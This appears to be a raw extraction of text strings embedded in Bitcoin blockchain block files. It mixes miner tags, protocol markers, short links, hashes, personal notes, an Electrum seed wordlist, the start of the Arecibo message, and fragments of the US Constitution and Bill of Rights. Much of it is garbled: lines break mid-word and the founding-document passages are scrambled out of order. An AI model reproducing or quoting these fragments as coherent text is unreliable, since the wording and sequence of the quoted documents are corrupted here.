ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
What is the Banking? Control.
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
$/mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
u=https://cpr.sm/uMzeznTSFj
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by AntPool sc$
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by AntPool sy1
Mined by AntPool bj0
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool usa
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLREPLENISH
Mined by AntPool sy1
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
Mined by cjs18665506868
ASCRIBESPOOLREPLENISH
Mined by diwenbin521
u=https://cpr.sm/bgSYRXFgGT
Mined by AntPool bj42CX
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by f2poolscant
Mined by f2poolscant
1-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
testing out my forma
Mined by AntPool bj0
Mined by chufeng0501
Mined by AntPool usa
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool sc$
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by zhaodong1982
4567890 1234567890 1
l; asdfghjkl; asdfgh
67890 1234567890 123
; asdfghjkl; asdfghj
sdfghjkl; asdfghjkl;
asdfghjkl; asdfghjk
fghjkl; asdfghjkl; a
0 1234567890 1234567
234567890 1234567890
asdfghjkl; asdfghjkl
90 1234567890 123456
hjkl; asdfghjkl; asd
890 1234567890 12345
kl; asdfghjkl; asdfg
1234567890 12345678
1234567890 123456789
Mined by AntPool bj1$
Mined by AntPool sc$
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by nanjinghaowei
Mined by AntPool sc$
Follow the white rabbit.
Mined by qq290708959
Mined by AntPool bj42CX
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Welcome to the real world.
Mined by supercloud2014
Mined by f2poolscant
"462>TEST
8c43c26e3b903d4db27d
61552ce85d901b7d6e61
d603a7562eb0674d37b0
c76b<1188|8c43c26e3b
903d4db27d61552ce85d
901b7d6e61d603a7562e
d09e9a2f78cc7c67b464
a26ab3481393c1a2e70a
071ca5feb16f224a8e71
67b464a26ab3481393c1
a2e70a071ca5feb16f22
81e8cd745e5309edf7f6
d4689532e2638c3cb52c
0ec9aee8152c07ddc440
55820844fc2359fb055c
e1ab010ec9aee8152c07
ddc44055820844fc2359
fb055c9e0c616299ee14
152c07ddc44055820844
fc2359fb055c9e0c6162
903f37b1038757ff588b
a8cb4ab589e8f5665e95
4da4b3b5a32018dcc138
ed7314d40b679e8b1020
78e1ec61f158aaf49e83
dcc138ed7314d40b679e
8b102078e1ec61f158aa
a32018dcc138ed7314d4
0b679e8b102078e1ec61
a4b3b5a32018dcc138ed
7314d40b679e8b102078
e1ec61f158aaf49e83fd
bc739ca213de2dc723c5
f6a510f734c88a2b1186
7c868d9558ca09c1ed78
4714ac73ec9ef6e21b19
95e3337c868d9558ca09
c1ed784714ac73ec9ef6
70f42995e3337c868d95
58ca09c1ed784714ac73
ec9ef6e21b198396c2ee
868d9558ca09c1ed7847
14ac73ec9ef6e21b1983
acce44442522b7f21b98
2b623f45b9257ac2c0dd
...BUT SWEAT MEMORIES REMAIN
Mined by f2poolscant
I am testing out the
...BUT SWEAT MEMORIES REMAIN
handle:BreathOfZen;e
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool sc$
Mined by AntPool bj1$
$/mining.bitcoinaffiliatenetwork.com/
*18\Happy New Years!
Mined by AntPool bj0
Mined by AntPool hz0;
Follow the white rabbit.
Mined by AntPool bj42CX
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool bj1$
the first date of marriage
*j(BONNE ANNEE A MA FAMILLE / A-L FRANCE 49
Follow the white rabbit.
What is the Banking? Control.
ASCRIBESPOOLTESTVERB
ASCRIBESPOOLREPLENISH
Mined by AntPool sy1
"j Selamat Tahun Baru 2015 Malaysia
$/mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREPLENISH
Time is always against us.
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by zhaodong1982
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool sy1
ASCRIBESPOOLREGISTER
Operation "rakushka" :)
:TestEmail;about:Tes
handle:Testing;email
Mined by AntPool bj1$
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
handle:Tester;email:
1iTS8C9bpoX66itVX1qW
TestingEmail;about:T
handle:Tester;email:
TestingEmail;about:T
TestingEmail;about:I
handle:Tester;email:
am the best tester.
Mined by AntPool bj1$
Mined by AntPool sc$
ng forum. This is wh
ere we will be testi
o the Bit-Comm testi
Hello, and welcome t
ng new functionality
1M93qV8hpo6648HFUHtu
ocVm3vGt7fXgEd.SIG:8
8*H9CtiZhtn6urYSt7we
1tRm4ANydTWolgti46c3
AvIW+VzH7nycI6LPsNdM
6Jy/dX/NsGDPfb1y1XEd
VY/dVzUKk="8:FAKE UF
handle:aoeui;email:(
none);about:Bit-Comm
ASCRIBESPOOLREPLENISH
Mined by sjq2544946900
ASCRIBESPOOLREPLENISH
ssage written to bit
This is the first me
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
Mined by longlong321
Mined by zhenglin2014
tangible.io is live.
Mined by AntPool hz0;
Mined by AntPool hz0;
Mined by AntPool bj1$
Mined by AntPool sy1
Mined by wanyouyinli1
Welcome to the real world.
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLUNCONSIGN
Mined by qq553967525
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by zhanlongclam
Mined by wanghailian
Mined by AntPool sc$
Mined by AntPool hz0;
$/mining.bitcoinaffiliatenetwork.com/
'NOTHING BIG CAME OUT OF SOMETHING SMALL
ASCRIBESPOOLREPLENISH
Mined by AntPool bj42CX
@'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool bj2
ASCRIBESPOOLREPLENISH
Mined by AntPool sc$
Mined by f2poolscant
$/mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Takahiro Yamagiwa, i am here.
Mined by AntPool sy1
Mined by yuling12345
Mined by zhanlongclam
Greg 'HEARTS' Annie 4EVER
Mined by AntPool sc$
ASCRIBESPOOLREGISTER
4'NOTHING BIG CAME OUT OF SOMETHING SMALL
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sy1
Mined by AntPool bj42CX
Mined by AntPool sz1
Mined by AntPool bj0
u=https://cpr.sm/87o2vyOlmq
Mined by AntPool sz1
", "total": 10000000}
'j%{"desc": "", "name": "formspree Coins
Mined by AntPool sy1
This message is writ
(Not the Moby Dick c
ten from Starbucks.
Mined by AntPool sy1
Mined by AntPool usa
Mined by AntPool sc$
Mined by AntPool sz1
# Electrum wordlist
old_mnemonic.py, 162
thub.com/spesmilo/el
ectrum/blob/master/l
, "just", "love", "k
now", "never", "want
", "time", "out", "t
here", "make", "look
", "eye", "down", "o
heart", "back", "the
n", "into", "about",
"more", "away", "st
ill", "them", "take"
"through", "long"
, "always", "world",
"too", "friend", "t
ell", "try", "hand",
"thought", "over",
"need", "smile", "a
gain", "much", "cry"
, "been", "night", "
ever", "little", "sa
id", "end", "some",
", "mind", "people",
"girl", "leave", "d
ream", "left", "turn
", "myself", "give",
"nothing", "really"
", "something", "fin
d", "walk", "wish",
"good", "once", "pla
ce", "ask", "stop",
"keep", "watch", "se
", "wait", "got", "y
et", "made", "rememb
er", "start", "alone
", "run", "hope", "m
aybe", "believe", "b
fter", "close", "tal
k", "stand", "own",
"each", "hurt", "hel
p", "home", "god", "
soul", "new", "many"
", "should", "true",
"first", "fear", "m
ean", "better", "pla
y", "another", "gone
"wonder", "someo
ne", "hair", "cold",
"open", "best", "an
y", "behind", "happe
n", "water", "dark",
"forever", "name",
"work", "show", "sk
y", "break", "came",
"deep", "door", "pu
t", "black", "togeth
ppy", "such", "great
", "white", "matter"
, "fill", "past", "p
lease", "burn", "cau
se", "enough", "touc
oon", "voice", "scre
am", "anything", "st
are", "sound", "red"
, "everyone", "hide"
, "kiss", "truth", "
ul", "mine", "blood"
, "broken", "very",
"pass", "next", "for
get", "tree", "wrong
"understand", "l
ip", "hit", "wall",
"memory", "sleep", "
free", "high", "real
ize", "school", "mig
eet", "perfect", "bl
ue", "kill", "breath
", "dance", "against
", "fly", "between",
"grow", "strong", "
, "bring", "sometime
s", "speak", "pull",
"person", "become",
"family", "begin",
"ground", "real", "s
"sure", "feet", "re
st", "young", "final
ly", "land", "across
", "today", "differe
nt", "guy", "line",
, "reach", "second",
"slowly", "write",
"eat", "smell", "mou
th", "step", "learn"
"promise", "brea
the", "darkness", "p
ush", "earth", "gues
s", "save", "song",
"above", "along", "b
house", "almost", "s
orry", "anymore", "b
rother", "okay", "de
ar", "game", "fade",
"already", "apart",
", "heard", "notice"
, "question", "shine
", "began", "piece",
"whole", "shadow",
"secret", "street",
r", "point", "mornin
g", "whisper", "chil
d", "moon", "green",
"story", "glass", "
kid", "silence", "si
ourself", "empty", "
shall", "angel", "an
swer", "baby", "brig
ht", "dad", "path",
"worry", "hour", "dr
power", "war", "half
", "flow", "heaven",
"act", "chance", "f
act", "least", "tire
d", "children", "nea
raid", "rise", "sea"
, "taste", "window",
"cover", "nice", "t
rust", "lot", "sad",
"peace", "return",
"blind", "easy", "r
eady", "roll", "rose
", "drive", "held",
"music", "beneath",
paint", "emotion", "
quiet", "clear", "cl
oud", "few", "pretty
", "bird", "outside"
, "paper", "picture"
", "simple", "anyone
", "meant", "reality
", "road", "sense",
"waste", "bit", "lea
f", "thank", "happin
en", "smoke", "truly
", "decide", "self",
"age", "book", "for
m", "alive", "carry"
"instead", "able
", "ice", "minute",
"throw", "catch", "l
eg", "ring", "course
", "goodbye", "lead"
"corner", "desire"
, "known", "problem"
, "remind", "shoulde
r", "suppose", "towa
rd", "wave", "drink"
"pretend", "siste
r", "week", "human",
"joy", "crack", "gr
ey", "pray", "surpri
se", "dry", "knee",
"bleed", "caught",
"clean", "embrace",
"future", "king", "
son", "sorrow", "che
st", "hug", "remain"
"blow", "daddy", "
final", "parent", "t
ight", "also", "crea
te", "lonely", "safe
", "cross", "dress",
"bone", "fate", "
perhaps", "anger", "
class", "scar", "sno
w", "tiny", "tonight
", "continue", "cont
ge", "mirror", "mont
h", "suddenly", "com
fort", "given", "lou
d", "quickly", "gaze
", "plan", "rush", "
"battle", "ignore",
"spirit", "stood", "
stupid", "yours", "b
rown", "build", "dus
t", "hey", "kept", "
twist", "although",
"ball", "beyond", "h
idden", "nose", "tak
en", "fail", "float"
, "pure", "somehow",
"angry", "cheek", "
creature", "forgotte
n", "heat", "rip", "
single", "space", "s
"whatever", "yell",
"anyway", "blame",
"job", "choose", "co
untry", "curse", "dr
ift", "echo", "figur
ghter", "neck", "suf
fer", "worse", "yeah
", "disappear", "foo
t", "forward", "knif
e", "mess", "somewhe
"storm", "beg", "ide
a", "lift", "offer",
"breeze", "field",
"five", "often", "si
mply", "stuck", "win
fuse", "enjoy", "exc
ept", "flower", "see
k", "strength", "cal
m", "grin", "gun", "
"large", "ocean", "s
hoe", "sigh", "strai
ght", "summer", "ton
gue", "accept", "cra
zy", "everyday", "ex
mistake", "sent", "s
hut", "surround", "t
able", "ache", "brai
n", "destroy", "heal
", "nature", "shout"
", "choice", "doubt"
, "glance", "glow",
"mountain", "queen",
"stranger", "throat
", "tomorrow", "city
sh", "flame", "rathe
r", "shape", "spin",
"spread", "ash", "d
istance", "finish",
"important", "no
body", "shatter", "w
armth", "became", "f
eed", "flesh", "funn
y", "lust", "shirt",
low", "attention", "
bare", "bite", "mone
y", "protect", "amaz
e", "appear", "born"
, "choke", "complete
"fresh", "friendshi
p", "gentle", "proba
bly", "six", "deserv
e", "expect", "grab"
, "middle", "nightma
housand", "weight",
"worst", "wound", "b
arely", "bottle", "c
ream", "regret", "re
lationship", "stick"
", "endless", "fault
", "itself", "rule",
"spill", "art", "ci
rcle", "join", "kick
", "mask", "master",
ck", "raise", "smoot
h", "unless", "wande
r", "actually", "bro
ke", "chair", "deal"
, "favorite", "gift"
r", "sweat", "box",
"chill", "clothes",
"lady", "mark", "par
k", "poor", "sadness
"belong", "brush
", "consume", "dawn"
, "forest", "innocen
t", "pen", "pride",
"stream", "thick", "
"count", "draw",
"faith", "press", "s
ilver", "struggle",
"surface", "taught",
"teach", "wet", "bl
climb", "enter", "le
tter", "melt", "meta
l", "movie", "stretc
h", "swing", "vision
", "wife", "beside",
t", "guide", "haunt"
, "joke", "knock", "
plant", "pour", "pro
ve", "reveal", "stea
l", "stuff", "trip",
, "bother", "bottom"
, "crawl", "crowd",
"fix", "forgive", "f
rown", "grace", "loo
se", "lucky", "party
urely", "survive", "
teacher", "gently",
"grip", "speed", "su
icide", "travel", "t
written", "cage", "c
hain", "conversation
", "date", "enemy",
"however", "interest
", "million", "page"
", "sway", "themselv
es", "winter", "chur
ch", "cruel", "cup",
"demon", "experienc
e", "freedom", "pair
se", "respect", "sho
ot", "softly", "stat
e", "strange", "bar"
, "birth", "curl", "
dirt", "excuse", "lo
monster", "order", "
pack", "pants", "poo
l", "scene", "seven"
, "shame", "slide",
"ugly", "among", "bl
"closet", "creek", "
deny", "drug", "eter
nity", "gain", "grad
e", "handle", "key",
"prepare", "swall
ow", "swim", "trembl
e", "wheel", "won",
"cast", "cigarette",
"claim", "college",
irty", "gather", "gh
ost", "hundred", "lo
ss", "lung", "orange
", "present", "swear
", "swirl", "twice",
", "blanket", "docto
r", "everywhere", "f
lash", "grown", "kno
wledge", "numb", "pr
essure", "radio", "r
"spend", "unknown",
"buy", "clock", "dev
il", "early", "false
", "fantasy", "pound
", "precious", "refu
eeth", "welcome", "a
dd", "ahead", "block
", "bury", "caress",
"content", "depth",
"despite", "distant
ple", "threw", "when
ever", "bomb", "dull
", "easily", "grasp"
, "hospital", "innoc
"receive", "reply",
"rhyme", "shade", "
someday", "sword", "
toe", "visit", "asle
ep", "bought", "cent
"flat", "hero", "hi
story", "ink", "insa
ne", "muscle", "myst
ery", "pocket", "ref
lection", "shove", "
t", "soldier", "spot
", "stress", "train"
, "type", "view", "w
hether", "bus", "ene
rgy", "explain", "ho
inch", "magic", "mix
", "noise", "nowhere
", "prayer", "presen
ce", "shock", "snap"
, "spider", "study",
il", "admit", "agree
", "bag", "bang", "b
ound", "butterfly",
"cute", "exactly", "
explode", "familiar"
er", "pierce", "refl
ect", "scent", "self
ish", "sharp", "sink
", "spring", "stumbl
"weep", "women", "wo
nderful", "action",
"ancient", "attempt"
, "avoid", "birthday
", "branch", "chocol
epress", "drunk", "e
specially", "focus",
"fruit", "honest",
"match", "palm", "pe
rfectly", "pillow",
, "roar", "shift", "
slightly", "thump",
"truck", "tune", "tw
enty", "unable", "wi
pe", "wrote", "coat"
inner", "drove", "eg
g", "eternal", "flig
ht", "flood", "frame
", "freak", "gasp",
"motion", "peer",
"plastic", "root", "
screen", "season", "
sting", "strike", "t
eam", "unlike", "vic
"warn", "weird", "at
tack", "await", "awa
ke", "built", "charm
", "crave", "despair
", "fought", "grant"
e", "limit", "messag
e", "ripple", "sanit
y", "scatter", "serv
e", "split", "string
", "trick", "annoy",
"brave", "clearly",
"cling", "connect",
"fist", "forth", "i
magination", "iron",
"jock", "judge", "l
"misery", "nail", "n
aked", "ourselves",
"poet", "possible",
"princess", "sail",
"size", "snake", "so
, "torture", "toss",
"trace", "wise", "b
loom", "bullet", "ce
ll", "check", "cost"
, "darling", "during
fragile", "hallway",
"hardly", "horizon"
, "invisible", "jour
ney", "midnight", "m
ud", "nod", "pause",
r", "sudden", "value
", "youth", "abuse",
"admire", "blink",
"breast", "bruise",
ouple", "creep", "cu
rve", "difference",
"dumb", "emptiness",
"gotta", "honor", "
plain", "planet", "r
ship", "slam", "soar
", "somebody", "tigh
tly", "weather", "ad
ore", "approach", "b
ond", "bread", "burs
offee", "cousin", "c
rime", "desert", "fl
utter", "frozen", "g
rand", "heel", "hell
o", "language", "lev
"pleasure", "powerf
ul", "random", "rhyt
hm", "settle", "sill
y", "slap", "sort",
"threaten", "tumb
le", "upset", "aside
", "awkward", "bee",
"blank", "board", "
button", "card", "ca
ain", "crap", "deepl
y", "discover", "dra
g", "dread", "effort
", "entire", "fairy"
, "giant", "gotten",
ion", "jeans", "leap
", "liquid", "march"
, "mend", "nervous",
"nine", "replace",
"rope", "spine", "st
"accident", "apple",
"balance", "boom",
"childhood", "collec
t", "demand", "depre
ssion", "eventually"
e", "goal", "group",
"honey", "kitchen",
"laid", "limb", "ma
chine", "mere", "mol
d", "murder", "nerve
oetry", "prince", "r
abbit", "shelter", "
shore", "shower", "s
oothe", "stair", "st
"tangle", "tease"
, "treasure", "uncle
", "begun", "bliss",
"canvas", "cheer",
"claw", "clutch", "c
"crystal", "delig
ht", "doll", "existe
nce", "express", "fo
g", "football", "gay
", "goose", "guard",
minate", "mass", "ma
th", "mourn", "rich"
, "rough", "skip", "
stir", "student", "s
tyle", "support", "t
"yard", "yearn", "ye
sterday", "advice",
"appreciate", "autum
n", "bank", "beam",
"bowl", "capture", "
e", "confusion", "cr
eation", "dove", "fe
ather", "girlfriend"
, "glory", "governme
nt", "harsh", "hop",
", "moonlight", "nei
ghbor", "neither", "
peach", "pig", "prai
se", "screw", "shiel
sneak", "stab", "sub
ject", "throughout",
"thrown", "tower",
"twirl", "wow", "arm
y", "arrive", "bathr
ease", "cookie", "co
uch", "courage", "di
m", "guilt", "howl",
"hum", "husband", "
insult", "led", "lun
stly", "natural", "n
early", "needle", "n
erd", "peaceful", "p
erfection", "pile",
"price", "remove", "
y", "serious", "shin
y", "shook", "sob",
"stolen", "tap", "va
in", "void", "warrio
r", "wrinkle", "affe
ze", "blossom", "bou
nce", "bridge", "che
ap", "crumble", "dec
ision", "descend", "
desperately", "dig",
"frighten", "heartbe
at", "huge", "lazy",
"lick", "odd", "opi
nion", "process", "p
"retreat", "score
", "sentence", "sepa
rate", "situation",
"skill", "soak", "sq
uare", "stray", "tai
de", "underneath", "
veil", "whistle", "a
nywhere", "bedroom",
"bid", "bloody", "b
urden", "careful", "
rn", "curtain", "dec
ay", "defeat", "desc
ribe", "double", "dr
eamer", "driver", "d
well", "evening", "f
, "grandma", "guitar
", "harm", "horrible
", "hungry", "indeed
", "lace", "melody",
"monkey", "nation",
ously", "rainbow", "
salt", "scratch", "s
hown", "shy", "stage
", "stun", "third",
"tickle", "useless",
rship", "worthless",
"afternoon", "beard
", "boyfriend", "bub
ble", "busy", "certa
ncrete", "desk", "di
amond", "doom", "dra
wn", "due", "felicit
y", "freeze", "frost
", "garden", "glide"
pefully", "hunt", "j
ealous", "lightning"
, "mama", "mercy", "
peel", "physical", "
position", "pulse",
"rant", "respond",
"salty", "sane", "sa
tisfy", "savior", "s
heep", "slept", "soc
ial", "sport", "tuck
ley", "wolf", "aim",
"alas", "alter", "a
rrow", "awaken", "be
aten", "belief", "br
"cheese", "clue", "
confidence", "connec
tion", "daily", "dis
guise", "eager", "er
ase", "essence", "ev
ssion", "fan", "flag
", "flirt", "foul",
"fur", "giggle", "gl
orious", "ignorance"
, "law", "lifeless",
hty", "muse", "north
", "opposite", "para
dise", "patience", "
patient", "pencil",
"ponder", "possibl
y", "practice", "sli
ce", "spell", "stock
", "strife", "strip"
, "suffocate", "suit
ol", "trade", "velve
t", "verse", "waist"
, "witch", "aunt", "
bench", "bold", "cap
", "certainly", "cli
, "creator", "dart",
"delicate", "determ
ine", "dish", "drago
n", "drama", "drum",
"dude", "everybody"
head", "former", "fr
ight", "fully", "gas
", "hook", "hurl", "
invite", "juice", "m
"possess", "raw", "
rebel", "royal", "sc
ale", "scary", "seve
ral", "slight", "stu
bborn", "swell", "ta
errible", "thread",
"torment", "trickle"
, "usually", "vast",
"violence", "weave"
, "acid", "agony", "
"belly", "blend", "
blush", "character",
"cheat", "common",
"company", "coward",
"creak", "danger",
se", "define", "depe
nd", "desperate", "d
estination", "dew",
"duck", "dusty", "em
barrass", "engine",
ore", "foe", "freely
", "frustrate", "gen
eration", "glove", "
guilty", "health", "
hurry", "idiot", "im
le", "jaw", "kingdom
", "mention", "mist"
, "moan", "mumble",
"mutter", "observe",
"ode", "pathetic",
, "prefer", "puff",
"rape", "rare", "rev
enge", "rude", "scra
pe", "spiral", "sque
eze", "strain", "sun
"sympathy", "thigh"
, "throne", "total",
"unseen", "weapon",
Time is always against us.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
# Electrum wordlist
print hashlib.sha
256("".join(words)).
57fdcaaff463a84891cf
5a32710cd754b7efca67
060163dd5ae1e5ffe293
Mined by f2poolscant
Mined by f2poolscant
Mined by f2poolscant
Mined by AntPool bj0
Time is always against us.
Mined by AntPool sy1
'NOTHING BIG CAME OUT OF SOMETHING SMALL
File: blk00214.txt
Follow the white rabbit.
Mined by zhanlongclam
Mined by yangliangdong
u=https://cpr.sm/41hxcz0z1W
y, provide for the c
n and establish this
te the general Welfa
Posterity, do ordai
perfect Union, estab
to ourselves and our
ommon defence, promo
lish Justice, insure
domestic Tranquilit
United States, in O
rder to form a more
re, and secure the B
lessings of Liberty
e United States of A
Constitution for th
We the People of the
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800fd5ed40245790cc7c
45156bf251513185d161
1d8ff8d09;f0099810eb
a787fb312046e2ee6a8c
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The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
Mined by AntPool bj1$
3Mined by f2poolscant
$/mining.bitcoinaffiliatenetwork.com/
Follow the white rabbit.
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...BUT SWEAT MEMORIES REMAIN
Mined by f2poolscant
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Mined by zhaodong1982
u=https://cpr.sm/oP74jyARFr@8
Mined by AntPool bj2
limiwoyuanzhaoguniyishengyishi
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Operation "rakushka" :)
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u=https://cpr.sm/MRM_jjO6id
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order to prevent mi
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pressed a desire, in
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the Constitution, ex
y the Senate and Hou
lauses should be add
c confidence in the
e of their adopting
se of its powers, th
s of the United Stat
t ensure the benefic
se of Representative
ed: And as extending
Government, will bes
ry and restrictive c
by three fourths of
s, to be valid to al
cles, when ratified
the said Legislature
aid Constitution; vi
ses concurring, that
Constitution of the
United States, all,
es of America, in Co
ngress assembled, tw
he Legislatures of t
the following Artic
he several States, a
o thirds of both Hou
s amendments to the
es, as part of the s
tion to, and Amendme
nt of the Constituti
l intents and purpos
les be proposed to t
or any of which Arti
icle the first... Af
on of the United Sta
he Constitution, the
cle of the original
ter the first enumer
re shall be one Repr
til the number shall
e first article of t
thirty thousand, un
proportion shall be
tes of America, prop
osed by Congress, an
d ratified by the Le
esentative for every
veral States, pursua
gislatures of the se
amount to one hundr
ed, after which the
ation required by th
so regulated by Cong
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ticle the second...
ess, that there shal
il the number of Rep
tatives, nor less th
atives, nor more tha
l not be less than t
No law, varying the
one hundred Represen
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for every fifty tho
mount to two hundred
; after which the pr
ress, that there sha
wo hundred Represent
coensation for the s
n one Representative
oportion shall be so
ll be not less than
ve for every forty t
housand persons, unt
hird... Congress sha
the press; or the ri
ors and Representati
dress of grievances.
and to petition the
ct, until an electio
exercise thereof; or
aceably to assemble,
coensation for the s
nt of religion, or p
om of speech, or of
ves, shall take effe
rohibiting the free
ght of the people pe
shall have interven
n of Representatives
ervices of the Senat
cting an establishme
ll make no law respe
Government for a re
abridging the freed
ed Militia, being ne
ople to keep and bea
r Arms, shall not be
cessary to the secur
the right of the pe
th... A well regulat
ity of a free State,
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rder to prevent misc
of their adopting th
e Constitution, expr
of March, one thous
and seven hundred an
Wednesday the fourth
of its powers, that
to The Bill of Right
onstruction or abuse
essed a desire, in o
n and held at the Ci
and restrictive cla
The U.S. Bill of Rig
E Conventions of a n
having at the time
umber of the States,
further declaratory
: And as extending t
he ground of public
confidence in the Go
ses concurring, that
Constitution of the
ensure the beneficen
vernment, will best
United States, all,
y the Senate and Hou
es of America, in Co
ngress assembled, tw
s of the United Stat
he Legislatures of t
t ends of its instit
se of Representative
the following Artic
he several States, a
o thirds of both Hou
s amendments to the
uses should be added
les be proposed to t
tion of the United S
and ratified by the
Legislatures of the
by three fourths of
s, to be valid to al
dition to, and Amend
cles, when ratified
the said Legislature
aid Constitution; vi
several States, purs
oposed by Congress,
tates of America, pr
ote: The following t
ticle of the origina
ment of the Constitu
es, as part of the s
ext is a transcripti
l intents and purpos
uant to the fifth Ar
or any of which Arti
of the press; or the
eedom of speech, or
hment of religion, o
le, and to petition
ee exercise thereof;
amendments to the Co
right of the people
r prohibiting the fr
peaceably to assemb
specting an establis
791, and form what i
on of the first ten
nstitution in their
or abridging the fr
ified December 15, 1
amendments were rat
the Government for a
shall make no law re
original form. These
s known as the "Bill
e people to be secur
e in their persons,
sary to the security
ner, nor in time of
rms, shall not be in
of a free State, th
any house, without t
to be prescribed by
e right of the peopl
e to keep and bear A
war, but in a manner
shall, in time of pe
ace be quartered in
he consent of the Ow
redress of grievanc
Militia, being neces
sue, but upon probab
effects, against unr
easonable searches a
ot be violated, and
le cause, supported
on a presentment or
houses, papers, and
erson shall be held
tal, or otherwise in
d the persons or thi
famous crime, unless
describing the plac
e to be searched, an
no Warrants shall is
to answer for a capi
indictment of a Gra
by Oath or affirmati
on, and particularly
nd seizures, shall n
nd Jury, except in c
en for public use, w
shall any person be
subject for the sam
st himself, nor be d
any criminal case t
land or naval forces
, or in the Militia,
hall be compelled in
ithout just compensa
o be a witness again
r public danger; nor
life or limb; nor s
e offence to be twic
when in actual serv
ice in time of War o
erty, or property, w
ases arising in the
eprived of life, lib
vate property be tak
e put in jeopardy of
ithout due process o
f law; nor shall pri
and public trial, b
trict shall have bee
y an impartial jury
confronted with the
ined by law, and to
he accusation; to be
ature and cause of t
committed, which dis
of the State and dis
be informed of the n
ccused shall enjoy t
trict wherein the cr
witnesses against h
he right to a speedy
ry process for obtai
prosecutions, the a
ime shall have been
n previously ascerta
im; to have compulso
ning witnesses in hi
be preserved, and n
ollars, the right of
the Assistance of C
ny Court of the Unit
ed States, than acco
ounsel for his defen
s favor, and to have
ry, shall be otherwi
lue in controversy s
pod, nor cruel and u
trial by jury shall
on law, where the va
Excessive bail shall
r excessive fines im
hall exceed twenty d
not be required, no
o fact tried by a ju
nstrued to deny or d
pod, nor cruel and u
nusual punishments i
tion, of certain rig
are reserved to the
tion in the Constitu
ed to the United Sta
isparage others reta
ion, nor prohibited
e powers not delegat
tes by the Constitut
hts, shall not be co
by it to the States,
States respectively
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Mined by AntPool bj1$
u=https://cpr.sm/MRM_jjO6id
u=https://cpr.sm/MRM_jjO6id
Mined by AntPool bj42CX
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Operation "rakushka" :)
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N.Mined by f2poolscant
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Operation "rakushka" :)
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GB2APDK Ninjas team 4ever.
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
Time is always against us.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by zhaodong1982
Mined by AntPool bj2
2de03b4d1b68cc2919a5
150eae876a930c340f00
c737f08b5efcd483a17f
Mined by AntPool sc6
ae8352910d7b89732cb3
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Mined by zhanlongclam
Mined by syxiaojiang8
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Mined by AntPool sy1
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
File: blk00215.txt
Mined by AntPool sc6
Time is always against us.
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'NOTHING BIG CAME OUT OF SOMETHING SMALL
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Mined by zhanlongclam
Testing the bitcoin
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ASCRIBESPOOLTRANSFER
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='NOTHING BIG CAME OUT OF SOMETHING SMALL
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u=https://cpr.sm/EpJ4-d7_gX
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Mined by AntPool usa
...BUT SWEAT MEMORIES REMAIN
u=https://cpr.sm/24mf9vz9el
Mined by AntPool bj42CX
Mined by AntPool tl'
Mined by linjinxiang
Mined by AntPool bj42CX
Mined by dashengbaoer
Mined by AntPool sc6
Mined by AntPool sc6
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#The truth is that there is no spoon
Mined by AntPool bj1$
1M93qV8hpo6648HFUHtu
ocVm3vGt7fXgEd.SIG/8
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Mined by f2poolscant
Mined by AntPool sc6
Mined by AntPool sy1
1M93qV8hpo6648HFUHtu
ocVm3vGt7fXgEd.SIG?8
8"H3IThGqE04BXPnGMxi
bNqStoKruWg3U5RCY+bY
Vq8LnOF6E8duOrCFpR4y
4V+ylfzLgai5mWeonRBq
X2UsN1VR4=?2320><p>O
n November 16th 1974
the Arecibo Observa
tory broadcasted the
following message i
01010101010100100100
00000001101000000000
00011100011000011000
